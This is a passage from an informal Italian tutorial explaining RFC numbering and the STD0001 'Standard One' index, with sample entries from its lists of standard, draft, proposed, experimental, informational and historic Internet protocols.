protocol) e questo puo' avvenire in qualunque momento del processo Numerazione delle RFC: un documento pubblicato riceve un numero di RFC. Se questa RFC necessita di aggiornamenti, si pubblica una nuova RFC con un nuovo numero identificativo. La precedente versione di RFC diventa OBSOLETA. Forse per la poca voglia di lavorare, o forse per qualche motivo che mi sfugge, le RFC obsolete non sono segnalate (o cancellate). Eccoci giunti alla domanda iniziale: come faccio a sapere che RFC descrivono un protocollo? Una prima risposta l'abbiamo gia' avuta: cercare nei documenti STD. Ma c'e' un'altra risposta, molto piu' esauriente e comoda: lo Standard One. Questo documento (chiamato STD0001) viene pubblicato periodicamente e contiene una lista aggiornata di tutti i protocolli standard di Internet. Lo STD0001 contiene, anche, gli elenchi delle RFC che hanno conseguito i livelli di maturazione draft, proposed standard, experimental protocol, informational protocol e historical protocol. In pratica, abbiamo tutto cio' che ci serve. Ogni STD0001 e' una RFC, che ha un suo numero. Essendo uno STD allora ha due numeri: il numero di RFC e il numero di standard, che e' 1. Per esempio, la Standard One che sto guardando adesso (di Giugno del 1999), e' la RFC 2500 STD 1. Nell'intestazione c'e' una lista delle RFC diventate obsolete (cioe' modificate e, quindi, che hanno ricevuto un nuovo numero). Poi abbiamo le seguenti liste: *********************** 1) STANDARD PROTOCOLS (protocolli standard) vediamo qualche voce: Protocol Name RFC STD * ======== ===================================== ==== === -------- Internet Official Protocol Standards 2500 1 IP Internet Protocol 791 5 as amended by:-------- -------- IP Subnet Extension 950 5 -------- IP Broadcast Datagrams 919 5 -------- IP Broadcast Datagrams with Subnets 922 5 ICMP Internet Control Message Protocol 792 5 IGMP Internet Group Multicast Protocol 1112 5 UDP User Datagram Protocol 768 6 TCP Transmission Control Protocol 793 7 TELNET Telnet Protocol 854,855 8 FTP File Transfer Protocol 959 9 SMTP Simple Mail Transfer Protocol 821 10 eccetera 2) Network-Specific Standard Protocols (protocolli standard specifici di reti) protocolli implementati soltanto su reti specifiche. Non tutte le installazione TCP/IP sono tenute ad implementarli. Eccone alcuni: Protocol Name RFC STD * ======== ===================================== ===== === = IP-ATM Classical IP and ARP over ATM 2225 ATM-ENCAP Multiprotocol Encapsulation over ATM 1483 IP-TR-MC IP Multicast over Token-Ring LANs 1469 IP-FDDI Transmission of IP and ARP over FDDI Net 1390 36 IP-X.25 X.25 and ISDN in the Packet Mode 1356 ARP Address Resolution Protocol 826 37 3) Draft Standard Protocols (protocolli standard in stato di bozza) eccone alcuni: Protocol Name RFC ======== ===================================== ===== VACM-SNMP View-based Access Control Model for SMMP 2575* USM-SNMPV3 User-based Security Model for SNMPv3 2574* SNMP-APP SNMP Applications 2573* MPD-SNMP Message Processing & Dispatching SNMP 2572* ARCH-SNMP Architecture Describing SNMP Management Frameworks 2571* ICMPv6 ICMPv6 for IPv6 2463* IPV6-AUTO IPv6 Stateless Address Autoconfiguation 2462* 4) Proposed Standard Protocols (standard proposti) il solito piccolo estratto (cosi', solo per farvi credere a quello che dico hehehe) Protocol Name RFC ======== ===================================== ===== POP3-EXT POP3 Extension Mechanism 2449* IMIP iCalendar Message-Based Interoperability 2447* ITIP iCalendar Message-Based Interoperability 2446* ICALENDAR Internet Calendaring, Scheduling Core.. 2445* OTP-SASL OTP SASL Mechanism 2444* -------- OpenPGP Message Format 2440* -------- BGP Route Flap Damping 2439* -------- RTP Payload Format for JPEG-compressed Video 2435* -------- RTP Payload Format for BT.656 Video Encoding 2431* -------- RTP Payload Format for H.263+ 2429* -------- FTP Extensions for IPv6 and NATs 2428 MIME-VCARD vCard MIME Directory Profile 2426 5) Experimental Protocols (protocolli sperimentali) Protocol Name RFC ======== ===================================== ===== ------- NewReno Modification to TCP's Fast Recovery Algorithm 2582* ------- Mapping between LPD and IPP Protocols 2569* IPP-RAT Rationale for the Structure of IPP 2568* IPP-DG Design Goals for an Internet Printing Protocol 2567* IPP-M-S Internet Printing Protocol/1.0: Model and Semantics 2566* IPP-E-T Internet Printing Protocol/1.0: Encoding and Transport 2565* DNS-INFO Detached Domain Name System (DNS) Information 2540* 6) Informational Protocols Protocol Name RFC ======= ==================================== ===== AUDIO/L16 Audio/L16 MIME content type 2586* FTP-SEC FTP Security Considerations 2577* -------- 6Bone Routing Practice 2546* DNS-SOC DNS Security Operational Considerations 2541* 7) Historic Protocols Protocol Name RFC STD ======== ===================================== ===== === CONTENT Content Type Header Field 1049 11 * IPV6-UNI IPv6 Provider-Based Unicast Address 2073 IPV6-Addr IPv6 Addressing Architecture 1884 L2F Cisco Layer Two Forwarding Protocol 2341 IPSO DoD Security Options for IP 1108 SNMPv2 Manager-to-Manager MIB 1451 *********************** Bene, ora resta un'altro piccolo dettaglio: dove trovare questo Standard One? Ovunque ci siano le RFC. Dove ci sono le RFC li ci sono, anche, gli STD. Cercate lo STD0001 e siete a posto. Qualche sito? Mah... ce ne sono miriadi: basta usare un motore di ricerca e scrivere RFC. Comunque, ecco un link: http://www.faqs.org/rfcs/ Bene, questo e' tutto: spero di avervi fatto conoscere qualcosa di nuovo e utile. Buttha